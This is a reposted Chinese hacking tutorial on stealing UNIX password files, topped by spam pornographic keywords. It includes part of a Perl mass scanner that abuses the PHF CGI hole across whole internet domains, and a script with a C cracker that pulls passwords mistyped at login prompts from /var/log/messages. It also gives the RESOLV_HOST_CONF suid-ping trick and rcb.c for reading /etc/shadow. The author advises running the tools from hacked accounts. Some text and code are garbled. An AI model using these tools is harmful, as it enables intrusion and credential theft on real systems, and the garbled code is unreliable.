欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

從UNIX系統(tǒng)獲取密碼檔(一)

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:04:37   作者:佚名   我要評(píng)論
目錄: PHF:WWW的PH查詢 PHF查詢攻擊新方法 從新手處獲取 獲取shadow密碼檔 獲取/etc/hosts檔 本文列舉了幾種從UNIX系統(tǒng)獲取密碼檔的方法。其中大多數(shù)方法要求你擁有一個(gè) 有效帳號(hào);但也有不需帳號(hào)也可訪問(wèn)系統(tǒng)的方法。在這里你還能知道完整
\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}
# We are done. Close the output file and end the program.
close (OUTFILE);
0;

------------- cut here
OK。這很簡(jiǎn)單吧。如果你定義了自己的域名文件urls,也可以使用geturl.pl。
以下是腳本文件說(shuō)明:
這個(gè)輕巧的工具非常容易使用。它可以幫助你取得root用戶權(quán)限和從不同的
domain獲取passwd密碼檔。
geturl.pl試圖記錄Internet上每臺(tái)domain對(duì)phf的響應(yīng)結(jié)果。你可以選擇.com .edu
.org .mil .gov或是需要探測(cè)的IP地址列表。一旦發(fā)現(xiàn)具有root權(quán)限的用戶,便在結(jié)果
文件中記錄uid=root,然后繼續(xù)探測(cè)下一臺(tái)domain。如果phf探測(cè)器找到的用戶沒(méi)有
root權(quán)限,它就會(huì)讀取該domain上的passwd密碼檔,并在當(dāng)前目錄下以domain.???.passwd
文件名保存。
以下是此工具的使用說(shuō)明:
ftp到rs.internic.net站點(diǎn)
在domain目錄下尋找:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
下載這些文件并對(duì)目標(biāo)主機(jī)所屬域名文件運(yùn)行g(shù)etdomain.pl,如:
perl getdomain.pl com.zone com >com.all
該腳本會(huì)分析出.com域的所有主機(jī)名并輸出到文件com.all中。
如果希望分析.edu域,輸入:
perl getdomain.pl edu.zone edu >edu.all
你便會(huì)有一個(gè)供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl
用edu.all或com.all代替
如果你定義了域名文件urls,運(yùn)行g(shù)eturl.pl時(shí)不需。
運(yùn)行結(jié)果被記錄到當(dāng)前目錄下的GetURLResults文件中。
1. geturl.pl使用lynx進(jìn)行搜索(lynx要在查找路徑中)。
2. 如果geturl.pl發(fā)現(xiàn)在一個(gè)url的httpd上獲得了root權(quán)限,就會(huì)記錄該root用戶。
如果http用戶不是root,但該用戶具有在http上執(zhí)行phf權(quán)限,就會(huì)抓取該
domain的passwd檔,并以fulldomainname.passwd的文件保存到當(dāng)前目錄下。
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。
4. 我使用的是OS/2的lynx和perl,在長(zhǎng)文件名方面沒(méi)有遇到問(wèn)題。我在UNIX機(jī)
進(jìn)行了測(cè)試,該程序也可以正常工作。
你需要:
1. Perl在查找路徑中
2. Lynx在查找路徑中
3. 長(zhǎng)文件名(256字符)支持(如UNIX或OS/2)
4. 本文所列出和包含的所有文件
5. 從Internic站點(diǎn)下載的域名文件或自行制作的url或IP列表文件(取名為urls,
運(yùn)行時(shí)僅輸入geturl.pl)
注意事項(xiàng):
如果你有一個(gè)現(xiàn)金付費(fèi)的互聯(lián)網(wǎng)帳號(hào)或通過(guò)hack而得到的帳號(hào)使用此工具來(lái)獲取
成果,那就最好了。然后便可以用另一個(gè)安全的帳號(hào)使用你的勞動(dòng)成果了。但我并不
必警告你這些,對(duì)吧?我對(duì)這些工具并不覺(jué)得羞恥。這里提供的工具是讓你們檢查
domain的安全性。;-)
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 檢測(cè)并記錄每一臺(tái)domain的響應(yīng)結(jié)果
GetURLResults: geturl.pl程序的結(jié)果記錄文件

這里還有另外一種方法:
如果你能讀取/var/adm/messages文件,或許你能輕而易舉地得到一些用戶的密碼!
我曾經(jīng)采用這種方法獲得過(guò)root用戶的密碼!
還記得有多少次你是急著登錄的嗎?你可能因此而在login:里輸入了密碼:這種
事情是很容易發(fā)生的。這樣你就會(huì)出現(xiàn)兩次登錄失敗,系統(tǒng)就在這個(gè)時(shí)候胡所動(dòng)作了。
例如:(假設(shè)你很急著登錄而沒(méi)有留意屏幕)
Login: (你鍵入回車(chē)(而你此時(shí)并不知道))
Password: (你以為現(xiàn)在開(kāi)始登錄了,便輸入用戶名)
Login: (然后輸入用戶密碼)
此時(shí)系統(tǒng)會(huì)在messages文件中產(chǎn)生如下記錄:
Login: (這里是你的用戶密碼?。。。?
Password ****** (系統(tǒng)當(dāng)然不會(huì)給你看見(jiàn)密碼了???但由于你在Login:處輸入了
用戶密碼,只要我們有讀取messages文件的權(quán)限,就會(huì)得到用戶密碼,并供crackerjack
運(yùn)行(以找出對(duì)應(yīng)的用戶)。如果是在一個(gè)小型系統(tǒng),或許...就是root密碼!;-))
以上這些工作可以由以下腳本輕易完成!
對(duì)于Quantum的bindwarez文件,你可以在附錄中找到。
------------ cut here
#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$
grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$
if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat scrack.c
#include
#include
#include

#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi
./scrack /tmp/messages.dict.$
echo /tmp/messages.dict.$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here
--------------------------------------------------------------------------------
從新手處獲取
好。重復(fù)一次,這是獲取密碼的另一種方法。只要按照第二章所談到的相關(guān)
內(nèi)容去做就行了。運(yùn)用你的智慧去與那些尚未成熟的“新手”交朋友吧。;-)
對(duì)了。在閱讀本手冊(cè)前,你可能曾經(jīng)也是別人的“新手”朋友呢!;-)
--------------------------------------------------------------------------------
獲取shadow密碼檔
什么是shadow密碼檔呢?
舉個(gè)例子,如果你利用上述方法取回來(lái)的passwd檔,其內(nèi)容如下:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
是不是少了點(diǎn)東西?噢,被加密的密碼。如果你有root權(quán)限,就會(huì)在/etc/shadow中
找到這些被加密的密碼。某些系統(tǒng)管理員會(huì)將shadow檔隱藏到其他隱蔽的目錄下。但
多數(shù)情況下,你可以在/etc目錄下找到。有一些shadow程序會(huì)將密碼保存到master.passwd
文件中。但只要你有root權(quán)限,總有地方可以找到它。
現(xiàn)在,假設(shè)你有一個(gè)有效帳號(hào),但沒(méi)有root權(quán)限。
如果主機(jī)使用的是libc5.4.7(多數(shù)系統(tǒng)都使用它 ;-) ),而且下列文件之一要求
必須有suid權(quán)限:
ping, traceroute, rlogin, or, ssh
1. 輸入bash或sh以啟動(dòng)一個(gè)bash shell
2. 輸入: export RESOLV_HOST_CONF=/etc/shadow
3. 輸入以上文件名之一,并加上asdf參數(shù),如:
ping asdf
如果一切正常,你就會(huì)得到shadow密碼檔。
這個(gè)方法對(duì)于我這幾天在許多系統(tǒng)中進(jìn)行的測(cè)試均很有效。
注:你可用所希望讀取的文件名(文件擁有者是root)來(lái)取代/etc/shadow。
以下腳本可以讓你輕而易舉地讀取所需要的文件:
rcb.c
-------- cut here
/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/
#include
void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}
void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;
if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag =10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}
-------------- cut here
命令行:rcb /etc/shadow (或其他你在這個(gè)系統(tǒng)中不能讀取的文件。;-) )

--------------------------------------------------------------------------------
獲取/etc/hosts檔
需要注意的是,有時(shí)你需要知道有哪些系統(tǒng)在hosts文件中,或在這個(gè)系統(tǒng)中有哪些
其他domain和所有的IP地址,因此,不要忘了讀取/etc/hosts文件以獲得以后你可能需要的
資料。

相關(guān)文章

最新評(píng)論